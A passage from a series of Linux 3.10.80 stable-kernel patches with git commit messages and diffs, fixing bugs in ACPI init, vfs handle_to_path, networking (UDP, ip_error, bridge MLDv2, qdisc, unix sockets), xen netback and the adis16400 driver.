num_fingers != 0, x1, y1); - elantech_set_slot(dev, 1, num_fingers == 2, x2, y2); + elantech_set_slot(dev, 1, num_fingers >= 2, x2, y2); } /* -- cgit v1.2.3 From 92c934b10ec3ed9db375161829d715892c9f4f99 Mon Sep 17 00:00:00 2001 From: "Rafael J. Wysocki" Date: Thu, 7 May 2015 21:19:39 +0200 Subject: ACPI / init: Fix the ordering of acpi_reserve_resources() commit b9a5e5e18fbf223502c0b2264c15024e393da928 upstream. Since acpi_reserve_resources() is defined as a device_initcall(), there's no guarantee that it will be executed in the right order with respect to the rest of the ACPI initialization code. On some systems this leads to breakage if, for example, the address range that should be reserved for the ACPI fixed registers is given to the PCI host bridge instead if the race is won by the wrong code path. Fix this by turning acpi_reserve_resources() into a void function and calling it directly from within the ACPI initialization sequence. Reported-and-tested-by: George McCollister Link: http://marc.info/?t=143092384600002&r=1&w=2 Signed-off-by: Rafael J. Wysocki Signed-off-by: Greg Kroah-Hartman --- drivers/acpi/osl.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/drivers/acpi/osl.c b/drivers/acpi/osl.c index e72186340fec..11441ad69de3 100644 --- a/drivers/acpi/osl.c +++ b/drivers/acpi/osl.c @@ -173,7 +173,7 @@ static void __init acpi_request_region (struct acpi_generic_address *gas, request_mem_region(addr, length, desc); } -static int __init acpi_reserve_resources(void) +static void __init acpi_reserve_resources(void) { acpi_request_region(&acpi_gbl_FADT.xpm1a_event_block, acpi_gbl_FADT.pm1_event_length, "ACPI PM1a_EVT_BLK"); @@ -202,10 +202,7 @@ static int __init acpi_reserve_resources(void) if (!(acpi_gbl_FADT.gpe1_block_length & 0x1)) acpi_request_region(&acpi_gbl_FADT.xgpe1_block, acpi_gbl_FADT.gpe1_block_length, "ACPI GPE1_BLK"); - - return 0; } -device_initcall(acpi_reserve_resources); void acpi_os_printf(const char *fmt, ...) { @@ -1727,6 +1724,7 @@ acpi_status __init acpi_os_initialize(void) acpi_status __init acpi_os_initialize1(void) { + acpi_reserve_resources(); kacpid_wq = alloc_workqueue("kacpid", 0, 1); kacpi_notify_wq = alloc_workqueue("kacpi_notify", 0, 1); kacpi_hotplug_wq = alloc_workqueue("kacpi_hotplug", 0, 1); -- cgit v1.2.3 From fe023f735b36f809b4d740e86f15658a2852fc09 Mon Sep 17 00:00:00 2001 From: Sasha Levin Date: Wed, 28 Jan 2015 15:30:43 -0500 Subject: vfs: read file_handle only once in handle_to_path commit 161f873b89136eb1e69477c847d5a5033239d9ba upstream. We used to read file_handle twice. Once to get the amount of extra bytes, and once to fetch the entire structure. This may be problematic since we do size verifications only after the first read, so if the number of extra bytes changes in userspace between the first and second calls, we'll have an incoherent view of file_handle. Instead, read the constant size once, and copy that over to the final structure without having to re-read it again. Signed-off-by: Sasha Levin Cc: Al Viro Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- fs/fhandle.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/fs/fhandle.c b/fs/fhandle.c index 999ff5c3cab0..d59712dfa3e7 100644 --- a/fs/fhandle.c +++ b/fs/fhandle.c @@ -195,8 +195,9 @@ static int handle_to_path(int mountdirfd, struct file_handle __user *ufh, goto out_err; } /* copy the full handle */ - if (copy_from_user(handle, ufh, - sizeof(struct file_handle) + + *handle = f_handle; + if (copy_from_user(&handle->f_handle, + &ufh->f_handle, f_handle.handle_bytes)) { retval = -EFAULT; goto out_handle; -- cgit v1.2.3 From f0d445db03594ec6658c5fee64099e181f5ce570 Mon Sep 17 00:00:00 2001 From: Andrew Morton Date: Thu, 28 May 2015 15:44:24 -0700 Subject: fs/binfmt_elf.c:load_elf_binary(): return -EINVAL on zero-length mappings commit 2b1d3ae940acd11be44c6eced5873d47c2e00ffa upstream. load_elf_binary() returns `retval', not `error'. Fixes: a87938b2e246b81b4fb ("fs/binfmt_elf.c: fix bug in loading of PIE binaries") Reported-by: James Hogan Cc: Michael Davidson Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman --- fs/binfmt_elf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c index 53f620a4350e..618bcc84a09e 100644 --- a/fs/binfmt_elf.c +++ b/fs/binfmt_elf.c @@ -824,7 +824,7 @@ static int load_elf_binary(struct linux_binprm *bprm) total_size = total_mapping_size(elf_phdata, loc->elf_ex.e_phnum); if (!total_size) { - error = -EINVAL; + retval = -EINVAL; goto out_free_dentry; } } -- cgit v1.2.3 From 14a86b32c5f7ec8cef6c81d235da200468d340df Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Fri, 5 Jun 2015 23:20:14 -0700 Subject: Linux 3.10.80 --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 946f0ed8b5b6..067433219984 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ VERSION = 3 PATCHLEVEL = 10 -SUBLEVEL = 79 +SUBLEVEL = 80 EXTRAVERSION = NAME = TOSSUG Baby Fish -- cgit v1.2.3 From c153687da06e255d4ba6772082933830a606c12e Mon Sep 17 00:00:00 2001 From: Florian Fainelli Date: Fri, 15 May 2015 16:30:41 -0700 Subject: net: phy: Allow EEE for all RGMII variants [ Upstream commit 7e14069651591c81046ffaec13c3dac8cb70f5fb ] RGMII interfaces come in multiple flavors: RGMII with transmit or receive internal delay, no delays at all, or delays in both direction. This change extends the initial check for PHY_INTERFACE_MODE_RGMII to cover all of these variants since EEE should be allowed for any of these modes, since it is a property of the RGMII, hence Gigabit PHY capability more than the RGMII electrical interface and its delays. Fixes: a59a4d192166 ("phy: add the EEE support and the way to access to the MMD registers") Signed-off-by: Florian Fainelli Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- drivers/net/phy/phy.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/drivers/net/phy/phy.c b/drivers/net/phy/phy.c index 427e48a80efa..299d35552a3e 100644 --- a/drivers/net/phy/phy.c +++ b/drivers/net/phy/phy.c @@ -1022,12 +1022,14 @@ int phy_init_eee(struct phy_device *phydev, bool clk_stop_enable) /* According to 802.3az,the EEE is supported only in full duplex-mode. * Also EEE feature is active when core is operating with MII, GMII - * or RGMII. + * or RGMII (all kinds). Internal PHYs are also allowed to proceed and + * should return an error if they do not support EEE. */ if ((phydev->duplex == DUPLEX_FULL) && ((phydev->interface == PHY_INTERFACE_MODE_MII) || (phydev->interface == PHY_INTERFACE_MODE_GMII) || - (phydev->interface == PHY_INTERFACE_MODE_RGMII))) { + (phydev->interface >= PHY_INTERFACE_MODE_RGMII && + phydev->interface <= PHY_INTERFACE_MODE_RGMII_TXID))) { int eee_lp, eee_cap, eee_adv; u32 lp, cap, adv; int status; -- cgit v1.2.3 From 8dd4573191ff0df7641b38fffdb4542751d51c7f Mon Sep 17 00:00:00 2001 From: "Eric W. Biederman" Date: Fri, 22 May 2015 04:58:12 -0500 Subject: ipv4: Avoid crashing in ip_error [ Upstream commit 381c759d9916c42959515ad34a6d467e24a88e93 ] ip_error does not check if in_dev is NULL before dereferencing it. IThe following sequence of calls is possible: CPU A CPU B ip_rcv_finish ip_route_input_noref() ip_route_input_slow() inetdev_destroy() dst_input() With the result that a network device can be destroyed while processing an input packet. A crash was triggered with only unicast packets in flight, and forwarding enabled on the only network device. The error condition was created by the removal of the network device. As such it is likely the that error code was -EHOSTUNREACH, and the action taken by ip_error (if in_dev had been accessible) would have been to not increment any counters and to have tried and likely failed to send an icmp error as the network device is going away. Therefore handle this weird case by just dropping the packet if !in_dev. It will result in dropping the packet sooner, and will not result in an actual change of behavior. Fixes: 251da4130115b ("ipv4: Cache ip_error() routes even when not forwarding.") Reported-by: Vittorio Gambaletta Tested-by: Vittorio Gambaletta Signed-off-by: Vittorio Gambaletta Signed-off-by: "Eric W. Biederman" Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/ipv4/route.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/net/ipv4/route.c b/net/ipv4/route.c index e23c5f64286b..222e1b6141d3 100644 --- a/net/ipv4/route.c +++ b/net/ipv4/route.c @@ -871,6 +871,10 @@ static int ip_error(struct sk_buff *skb) bool send; int code; + /* IP on this device is disabled. */ + if (!in_dev) + goto out; + net = dev_net(rt->dst.dev); if (!IN_DEV_FORWARD(in_dev)) { switch (rt->dst.error) { -- cgit v1.2.3 From 2f5f714f6d7d18111c93bde581a534591b862458 Mon Sep 17 00:00:00 2001 From: Thadeu Lima de Souza Cascardo Date: Fri, 22 May 2015 12:18:59 -0300 Subject: bridge: fix parsing of MLDv2 reports [ Upstream commit 47cc84ce0c2fe75c99ea5963c4b5704dd78ead54 ] When more than a multicast address is present in a MLDv2 report, all but the first address is ignored, because the code breaks out of the loop if there has not been an error adding that address. This has caused failures when two guests connected through the bridge tried to communicate using IPv6. Neighbor discoveries would not be transmitted to the other guest when both used a link-local address and a static address. This only happens when there is a MLDv2 querier in the network. The fix will only break out of the loop when there is a failure adding a multicast address. The mdb before the patch: dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp dev ovirtmgmt port bond0.86 grp ff02::2 temp After the patch: dev ovirtmgmt port vnet0 grp ff02::1:ff7d:6603 temp dev ovirtmgmt port vnet1 grp ff02::1:ff7d:6604 temp dev ovirtmgmt port bond0.86 grp ff02::fb temp dev ovirtmgmt port bond0.86 grp ff02::2 temp dev ovirtmgmt port bond0.86 grp ff02::d temp dev ovirtmgmt port vnet0 grp ff02::1:ff00:76 temp dev ovirtmgmt port bond0.86 grp ff02::16 temp dev ovirtmgmt port vnet1 grp ff02::1:ff00:77 temp dev ovirtmgmt port bond0.86 grp ff02::1:ff00:def temp dev ovirtmgmt port bond0.86 grp ff02::1:ffa1:40bf temp Fixes: 08b202b67264 ("bridge br_multicast: IPv6 MLD support.") Reported-by: Rik Theys Signed-off-by: Thadeu Lima de Souza Cascardo Tested-by: Rik Theys Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/bridge/br_multicast.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/net/bridge/br_multicast.c b/net/bridge/br_multicast.c index 81de0106528b..49b4a82d3f86 100644 --- a/net/bridge/br_multicast.c +++ b/net/bridge/br_multicast.c @@ -1007,7 +1007,7 @@ static int br_ip6_multicast_mld2_report(struct net_bridge *br, err = br_ip6_multicast_add_group(br, port, &grec->grec_mca, vid); - if (!err) + if (err) break; } -- cgit v1.2.3 From 5385d8c4fb469f30da461db3800a715fd405b28f Mon Sep 17 00:00:00 2001 From: Richard Cochran Date: Mon, 25 May 2015 11:55:43 +0200 Subject: net: dp83640: fix broken calibration routine. [ Upstream commit 397a253af5031de4a4612210055935309af4472c ] Currently, the calibration function that corrects the initial offsets among multiple devices only works the first time. If the function is called more than once, the calibration fails and bogus offsets will be programmed into the devices. In a well hidden spot, the device documentation tells that trigger indexes 0 and 1 are special in allowing the TRIG_IF_LATE flag to actually work. This patch fixes the issue by using one of the special triggers during the recalibration method. Signed-off-by: Richard Cochran Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- drivers/net/phy/dp83640.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/drivers/net/phy/dp83640.c b/drivers/net/phy/dp83640.c index 7490b6c866e6..d2907a6e3dab 100644 --- a/drivers/net/phy/dp83640.c +++ b/drivers/net/phy/dp83640.c @@ -45,7 +45,7 @@ #define PSF_TX 0x1000 #define EXT_EVENT 1 #define CAL_EVENT 7 -#define CAL_TRIGGER 7 +#define CAL_TRIGGER 1 #define PER_TRIGGER 6 #define MII_DP83640_MICR 0x11 -- cgit v1.2.3 From 7659c93447344c3e6344e3e2dcdd53fe984eba7c Mon Sep 17 00:00:00 2001 From: Mark Salyzyn Date: Tue, 26 May 2015 08:22:19 -0700 Subject: unix/caif: sk_socket can disappear when state is unlocked [ Upstream commit b48732e4a48d80ed4a14812f0bab09560846514e ] got a rare NULL pointer dereference in clear_bit Signed-off-by: Mark Salyzyn Acked-by: Hannes Frederic Sowa ---- v2: switch to sock_flag(sk, SOCK_DEAD) and added net/caif/caif_socket.c v3: return -ECONNRESET in upstream caller of wait function for SOCK_DEAD Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/caif/caif_socket.c | 8 ++++++++ net/unix/af_unix.c | 8 ++++++++ 2 files changed, 16 insertions(+) diff --git a/net/caif/caif_socket.c b/net/caif/caif_socket.c index 526bf56f4d31..afeb8e07ee41 100644 --- a/net/caif/caif_socket.c +++ b/net/caif/caif_socket.c @@ -332,6 +332,10 @@ static long caif_stream_data_wait(struct sock *sk, long timeo) release_sock(sk); timeo = schedule_timeout(timeo); lock_sock(sk); + + if (sock_flag(sk, SOCK_DEAD)) + break; + clear_bit(SOCK_ASYNC_WAITDATA, &sk->sk_socket->flags); } @@ -376,6 +380,10 @@ static int caif_stream_recvmsg(struct kiocb *iocb, struct socket *sock, struct sk_buff *skb; lock_sock(sk); + if (sock_flag(sk, SOCK_DEAD)) { + err = -ECONNRESET; + goto unlock; + } skb = skb_dequeue(&sk->sk_receive_queue); caif_check_flow_release(sk); diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c index 75e198d029d2..123c16419cbe 100644 --- a/net/unix/af_unix.c +++ b/net/unix/af_unix.c @@ -1898,6 +1898,10 @@ static long unix_stream_data_wait(struct sock *sk, long timeo, unix_state_unlock(sk); timeo = schedule_timeout(timeo); unix_state_lock(sk); + + if (sock_flag(sk, SOCK_DEAD)) + break; + clear_bit(SOCK_ASYNC_WAITDATA, &sk->sk_socket->flags); } @@ -1957,6 +1961,10 @@ static int unix_stream_recvmsg(struct kiocb *iocb, struct socket *sock, struct sk_buff *skb, *last; unix_state_lock(sk); + if (sock_flag(sk, SOCK_DEAD)) { + err = -ECONNRESET; + goto unlock; + } last = skb = skb_peek(&sk->sk_receive_queue); again: if (skb == NULL) { -- cgit v1.2.3 From 09982800fda01085d538c5bdced6cef621233e6a Mon Sep 17 00:00:00 2001 From: WANG Cong Date: Tue, 26 May 2015 16:08:48 -0700 Subject: net_sched: invoke ->attach() after setting dev->qdisc [ Upstream commit 86e363dc3b50bfd50a1f315934583fbda673ab8d ] For mq qdisc, we add per tx queue qdisc to root qdisc for display purpose, however, that happens too early, before the new dev->qdisc is finally set, this causes q->list points to an old root qdisc which is going to be freed right before assigning with a new one. Fix this by moving ->attach() after setting dev->qdisc. For the record, this fixes the following crash: ------------[ cut here ]------------ WARNING: CPU: 1 PID: 975 at lib/list_debug.c:59 __list_del_entry+0x5a/0x98() list_del corruption. prev->next should be ffff8800d1998ae8, but was 6b6b6b6b6b6b6b6b CPU: 1 PID: 975 Comm: tc Not tainted 4.1.0-rc4+ #1019 Hardware name: Bochs Bochs, BIOS Bochs 01/01/2011 0000000000000009 ffff8800d73fb928 ffffffff81a44e7f 0000000047574756 ffff8800d73fb978 ffff8800d73fb968 ffffffff810790da ffff8800cfc4cd20 ffffffff814e725b ffff8800d1998ae8 ffffffff82381250 0000000000000000 Call Trace: [] dump_stack+0x4c/0x65 [] warn_slowpath_common+0x9c/0xb6 [] ? __list_del_entry+0x5a/0x98 [] warn_slowpath_fmt+0x46/0x48 [] ? dev_graft_qdisc+0x5e/0x6a [] __list_del_entry+0x5a/0x98 [] list_del+0xe/0x2d [] qdisc_list_del+0x1e/0x20 [] qdisc_destroy+0x30/0xd6 [] qdisc_graft+0x11d/0x243 [] tc_get_qdisc+0x1a6/0x1d4 [] ? mark_lock+0x2e/0x226 [] rtnetlink_rcv_msg+0x181/0x194 [] ? rtnl_lock+0x17/0x19 [] ? rtnl_lock+0x17/0x19 [] ? __rtnl_unlock+0x17/0x17 [] netlink_rcv_skb+0x4d/0x93 [] rtnetlink_rcv+0x26/0x2d [] netlink_unicast+0xcb/0x150 [] ? might_fault+0x59/0xa9 [] netlink_sendmsg+0x4fa/0x51c [] sock_sendmsg_nosec+0x12/0x1d [] sock_sendmsg+0x29/0x2e [] ___sys_sendmsg+0x1b4/0x23a [] ? native_sched_clock+0x35/0x37 [] ? sched_clock_local+0x12/0x72 [] ? sched_clock_cpu+0x9e/0xb7 [] ? current_kernel_time+0xe/0x32 [] ? lock_release_holdtime.part.29+0x71/0x7f [] ? read_seqcount_begin.constprop.27+0x5f/0x76 [] ? trace_hardirqs_on_caller+0x17d/0x199 [] ? __fget_light+0x50/0x78 [] __sys_sendmsg+0x42/0x60 [] SyS_sendmsg+0x12/0x1c [] system_call_fastpath+0x12/0x6f ---[ end trace ef29d3fb28e97ae7 ]--- For long term, we probably need to clean up the qdisc_graft() code in case it hides other bugs like this. Fixes: 95dc19299f74 ("pkt_sched: give visibility to mq slave qdiscs") Cc: Jamal Hadi Salim Signed-off-by: Cong Wang Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/sched/sch_api.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c index 2d2f07945c85..e87b27c7bffd 100644 --- a/net/sched/sch_api.c +++ b/net/sched/sch_api.c @@ -752,10 +752,8 @@ static int qdisc_graft(struct net_device *dev, struct Qdisc *parent, if (dev->flags & IFF_UP) dev_deactivate(dev); - if (new && new->ops->attach) { - new->ops->attach(new); - num_q = 0; - } + if (new && new->ops->attach) + goto skip; for (i = 0; i < num_q; i++) { struct netdev_queue *dev_queue = dev_ingress_queue(dev); @@ -771,12 +769,16 @@ static int qdisc_graft(struct net_device *dev, struct Qdisc *parent, qdisc_destroy(old); } +skip: if (!ingress) { notify_and_destroy(net, skb, n, classid, dev->qdisc, new); if (new && !new->ops->attach) atomic_inc(&new->refcnt); dev->qdisc = new ? : &noop_qdisc; + + if (new && new->ops->attach) + new->ops->attach(new); } else { notify_and_destroy(net, skb, n, classid, old, new); } -- cgit v1.2.3 From a3cfde2a311c3679b414b46e29d1a184edf29b0a Mon Sep 17 00:00:00 2001 From: Eric Dumazet Date: Sat, 30 May 2015 09:16:53 -0700 Subject: udp: fix behavior of wrong checksums [ Upstream commit beb39db59d14990e401e235faf66a6b9b31240b0 ] We have two problems in UDP stack related to bogus checksums : 1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll() 2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP. This patch is an attempt to make things better. We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue. Signed-off-by: Eric Dumazet Cc: Willem de Bruijn Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- net/ipv4/udp.c | 6 ++---- net/ipv6/udp.c | 6 ++---- 2 files changed, 4 insertions(+), 8 deletions(-) diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c index c3075b552248..63b536bbf0b0 100644 --- a/net/ipv4/udp.c +++ b/net/ipv4/udp.c @@ -1293,10 +1293,8 @@ csum_copy_err: } unlock_sock_fast(sk, slow); - if (noblock) - return -EAGAIN; - - /* starting over for a new packet */ + /* starting over for a new packet, but check if we need to yield */ + cond_resched(); msg->msg_flags &= ~MSG_TRUNC; goto try_again; } diff --git a/net/ipv6/udp.c b/net/ipv6/udp.c index 6b298dc614e3..7e3901893413 100644 --- a/net/ipv6/udp.c +++ b/net/ipv6/udp.c @@ -494,10 +494,8 @@ csum_copy_err: } unlock_sock_fast(sk, slow); - if (noblock) - return -EAGAIN; - - /* starting over for a new packet */ + /* starting over for a new packet, but check if we need to yield */ + cond_resched(); msg->msg_flags &= ~MSG_TRUNC; goto try_again; } -- cgit v1.2.3 From 762965a2f46961b7162e88a361001a219c362d19 Mon Sep 17 00:00:00 2001 From: Ian Campbell Date: Mon, 1 Jun 2015 11:30:24 +0100 Subject: xen: netback: read hotplug script once at start of day. [ Upstream commit 31a418986a5852034d520a5bab546821ff1ccf3d ] When we come to tear things down in netback_remove() and generate the uevent it is possible that the xenstore directory has already been removed (details below). In such cases netback_uevent() won't be able to read the hotplug script and will write a xenstore error node. A recent change to the hypervisor exposed this race such that we now sometimes lose it (where apparently we didn't ever before). Instead read the hotplug script configuration during setup and use it for the lifetime of the backend device. The apparently more obvious fix of moving the transition to state=Closed in netback_remove() to after the uevent does not work because it is possible that we are already in state=Closed (in reaction to the guest having disconnected as it shutdown). Being already in Closed means the toolstack is at liberty to start tearing down the xenstore directories. In principal it might be possible to arrange to unregister the device sooner (e.g on transition to Closing) such that xenstore would still be there but this state machine is fragile and prone to anger... A modern Xen system only relies on the hotplug uevent for driver domains, when the backend is in the same domain as the toolstack it will run the necessary setup/teardown directly in the correct sequence wrt xenstore changes. Signed-off-by: Ian Campbell Acked-by: Wei Liu Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman --- drivers/net/xen-netback/xenbus.c | 33 +++++++++++++++++++-------------- 1 file changed, 19 insertions(+), 14 deletions(-) diff --git a/drivers/net/xen-netback/xenbus.c b/drivers/net/xen-netback/xenbus.c index 8a9e8750703f..e0cf18c6cf11 100644 --- a/drivers/net/xen-netback/xenbus.c +++ b/drivers/net/xen-netback/xenbus.c @@ -33,6 +33,8 @@ struct backend_info { enum xenbus_state frontend_state; struct xenbus_watch hotplug_status_watch; u8 have_hotplug_status_watch:1; + + const char *hotplug_script; }; static int connect_rings(struct backend_info *); @@ -55,6 +57,7 @@ static int netback_remove(struct xenbus_device *dev) xenvif_free(be->vif); be->vif = NULL; } + kfree(be->hotplug_script); kfree(be); dev_set_drvdata(&dev->dev, NULL); return 0; @@ -72,6 +75,7 @@ static int netback_probe(struct xenbus_device *dev, struct xenbus_transaction xbt; int err; int sg; + const char *script; struct backend_info *be = kzalloc(sizeof(struct backend_info), GFP_KERNEL); if (!be) { @@ -132,6 +136,15 @@ static int netback_probe(struct xenbus_device *dev, goto fail; } + script = xenbus_read(XBT_NIL, dev->nodename, "script", NULL); + if (IS_ERR(script)) { + err = PTR_ERR(script); + xenbus_dev_fatal(dev, err, "reading script"); + goto fail; + } + + be->hotplug_script = script; + err = xenbus_switch_state(dev, XenbusStateInitWait); if (err) goto fail; @@ -162,22 +175,14 @@ static int netback_uevent(struct xenbus_device *xdev, struct kobj_uevent_env *env) { struct backend_info *be = dev_get_drvdata(&xdev->dev); - char *val; - val = xenbus_read(XBT_NIL, xdev->nodename, "script", NULL); - if (IS_ERR(val)) { - int err = PTR_ERR(val); - xenbus_dev_fatal(xdev, err, "reading script"); - return err; - } else { - if (add_uevent_var(env, "script=%s", val)) { - kfree(val); - return -ENOMEM; - } - kfree(val); - } + if (!be) + return 0; + + if (add_uevent_var(env, "script=%s", be->hotplug_script)) + return -ENOMEM; - if (!be || !be->vif) + if (!be->vif) return 0; return add_uevent_var(env, "vif=%s", be->vif->dev->name); -- cgit v1.2.3 From 3b9f2aa3a7ddebad0641303c6dd78221c98d23d3 Mon Sep 17 00:00:00 2001 From: Lars-Peter Clausen Date: Fri, 15 May 2015 17:18:34 +0200 Subject: iio: adis16400: Report pressure channel scale commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream. Add the scale for the pressure channel, which is currently missing. Signed-off-by: Lars-Peter Clausen Fixes: 76ada52f7f5d ("iio:adis16400: Add support for the adis16448") Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman --- drivers/iio/imu/adis16400_core.c | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/drivers/iio/imu/adis16400_core.c b/drivers/iio/imu/adis16400_core.c index 7d60c85cc16d..4225964f0cbe 100644 --- a/drivers/iio/imu/adis16400_core.c +++ b/drivers/iio/imu/adis16400_core.c @@ -438,6 +438,11 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, *val = st->variant->temp_scale_nano / 1000000; *val2 = (st->variant->temp_scale_nano % 1000000); return IIO_VAL_INT_PLUS_MICRO; + case IIO_PRESSURE: + /* 20 uBar = 0.002kPascal */ + *val = 0; + *val2 = 2000; + return IIO_VAL_INT_PLUS_MICRO; default: return -EINVAL; } -- cgit v1.2.3 From beed1a251c8a3b3ba2777c5e75db4cfa23b463ae Mon Sep 17 00:00:00 2001 From: Paul Cercueil Date: Fri, 15 May 2015 17:18:35 +0200 Subject: iio: adis16400: Use != channel indices for the two voltage channels commit 7323d59862802ca109451eeda9777024a7625509 upstream. Previously, the two voltage channels had the same ID, which didn't cause conflicts in sysfs only because one channel is named and the other isn't; this is still violating the spec though, two indexed channels should never have the same index. Signed-off-by: Paul Cercueil Signed-off-by: Lars-Peter Clausen Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman --- drivers/iio/imu/adis16400_core.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/drivers/iio/imu/adis16400_core.c b/drivers/iio/imu/adis16400_core.c index 4225964f0cbe..5f4f8fee6475 100644 --- a/drivers/iio/imu/adis16400_core.c +++ b/drivers/iio/imu/adis16400_core.c @@ -485,10 +485,10 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, } } -#define ADIS16400_VOLTAGE_CHAN(addr, bits, name, si) { \ +#define ADIS16400_VOLTAGE_CHAN(addr, bits, name, si, chn) { \ .type = IIO_VOLTAGE, \ .indexed = 1, \ - .channel = 0, \ + .channel = chn, \ .extend_name = name, \ .info_mask_separate = BIT(IIO_CHAN_INFO_RAW) | \ BIT(IIO_CHAN_INFO_SCALE), \ @@ -504,10 +504,10 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, } #define ADIS16400_SUPPLY_CHAN(addr, bits) \ - ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY) + ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY, 0) #define ADIS16400_AUX_ADC_CHAN(addr, bits) \ - ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC) + ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC, 1) #define ADIS16400_GYRO_CHAN(mod, addr, bits) { \ .type = IIO_ANGL_VEL, \ -- cgit v1.2.3 From 50739084df91db8c50bfa7e06129f3c394fe2552 Mon Sep 17 00:00:00 2001 From: Paul Cercueil Date: Fri, 15 May 2015 17:18:36 +0200 Subject: iio: adis16400: Compute the scan mask from channel indices commit c2a8b623a089d52c199e305e7905829907db8ec8 upstream. We unfortunately can't use ~0UL for the scan mask to indicate that the only valid scan mask is all channels selected. The IIO core needs the exact mask to work correctly and not a super-set of it. So calculate the masked based on the channels that are available for a particular device. Signed-off-by: Paul Cercueil Signed-off-by: Lars-Peter Clausen Fixes: 5eda3550a3cc ("staging:iio:adis16400: Preallocate transfer message") Signed-off-by: Jonathan Cameron Signed-off-by: Greg Kroah-Hartman --- drivers/iio/imu/adis16400.h | 1 + drivers/iio/imu/adis16400_core.c | 25 ++++++++++++++++++------- 2 files changed, 19 insertions(+), 7 deletions(-) diff --git a/drivers/iio/imu/adis16400.h b/drivers/iio/imu/adis16400.h index 0916bf6b6c31..1e8fd2e81d45 100644 --- a/drivers/iio/imu/adis16400.h +++ b/drivers/iio/imu/adis16400.h @@ -165,6 +165,7 @@ struct adis16400_state { int filt_int; struct adis adis; + unsigned long avail_scan_mask[2]; }; /* At the moment triggers are only used for ring buffer diff --git a/drivers/iio/imu/adis16400_core.c b/drivers/iio/imu/adis16400_core.c index 5f4f8fee6475..9721c58ed847 100644 --- a/drivers/iio/imu/adis16400_core.c +++ b/drivers/iio/imu/adis16400_core.c @@ -824,11 +824,6 @@ static const struct iio_info adis16400_info = { .debugfs_reg_access = adis_debugfs_reg_access, }; -static const unsigned long adis16400_burst_scan_mask[] = { - ~0UL, - 0, -}; - static const char * const adis16400_status_error_msgs[] = { [ADIS16400_DIAG_STAT_ZACCL_FAIL] = "Z-axis accelerometer self-test failure", [ADIS16400_DIAG_STAT_YACCL_FAIL] = "Y-axis accelerometer self-test failure", @@ -876,6 +871,20 @@ static const struct adis_data adis16400_data = { BIT(ADIS16400_DIAG_STAT_POWER_LOW), }; +static void adis16400_setup_chan_mask(struct adis16400_state *st) +{ + const struct adis16400_chip_info *chip_info = st->variant; + unsigned i; + + for (i = 0; i < chip_info->num_channels; i++) { + const struct iio_chan_spec *ch = &chip_info->channels[i]; + + if (ch->scan_index >= 0 && + ch->scan_index != ADIS16400_SCAN_TIMESTAMP) + st->avail_scan_mask[0] |= BIT(ch->scan_index); + } +} + static int adis16400_probe(struct spi_device *spi) { struct adis16400_state *st; @@ -899,8 +908,10 @@ static int adis16400_probe(struct spi_device *spi) indio_dev->info = &adis16400_info; indio_dev->modes = INDIO_DIRECT_MODE; - if (!(st->variant->flags & ADIS16400_NO_BURST)) - indio_dev->available_scan_masks = adis16400_burst_scan_mask; + if (!(st->variant->flags & ADIS16400_NO_BURST)) { + adis16400_setup_chan_mask(st); + indio_dev->available_scan_masks = st->avail_scan_mask; + } ret = adis_init(&st->adis, indio_dev, spi, &adis16400_data); if (ret) -- cgit v1.2.3 From 432146b1571e0fce1cfd11f46949f6638f002440 Mon Sep 17 00:00:00 2001 From: Takashi Iwai Date: Tue, 2 Jun 2015 19:57:08 +0200 Subject: ALSA: hda/realtek - Add a fixup for another Acer Aspire 9420 commit b5d724b1add6eabf3aa7276ab3454ea9f45eebd3 upstream. Acer Aspire 9420 with ALC883 (1025:0107) needs the fixup for EAPD to make the sound working like other Aspire models. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=94111 Signed-off-by: Takashi Iwai 